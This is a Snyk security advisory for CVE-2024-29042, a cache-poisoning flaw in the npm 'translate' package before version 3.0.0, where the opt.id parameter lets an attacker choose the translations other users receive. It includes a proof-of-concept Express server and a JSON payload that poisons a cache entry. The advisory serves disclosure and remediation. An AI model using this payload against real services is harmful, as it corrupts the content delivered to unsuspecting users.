Improper Input Validation Affecting translate package, versions <3.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-TRANSLATE-6483248
  • published24 Mar 2024
  • disclosed22 Mar 2024
  • creditPinkDraconian

Introduced: 22 Mar 2024

CVE-2024-29042  (opens in a new tab)
CWE-20  (opens in a new tab)

How to fix?

Upgrade translate to version 3.0.0 or higher.

Overview

translate is a Translate text to different languages on node.js and the browser

Affected versions of this package are vulnerable to Improper Input Validation due to the manipulation of the second variable of the translate function. An attacker can change the outcome of translation requests made by subsequent users by controlling this variable. The opt.id parameter allows for the overwriting of the cache key, enabling an attacker to set the id variable to a cache key that would be generated by another user, thereby choosing the response that user gets served.

PoC

Server allowing users to supply text and the language to translate to:

import translate from "translate";
import express from 'express';

const app = express(); app.use(express.json());

app.post('/translate', async (req, res) => { const { text, language } = req.body; const result = await translate(text, language); return res.json(result); });

const port = 3000; app.listen(port, () => { console.log(Server is running on port ${port}); });

Payload:

{"text":"I hate you", "language":{"to":"nl","id":"undefined:en:nl:google:I love you"}}

CVSS Scores

version 3.1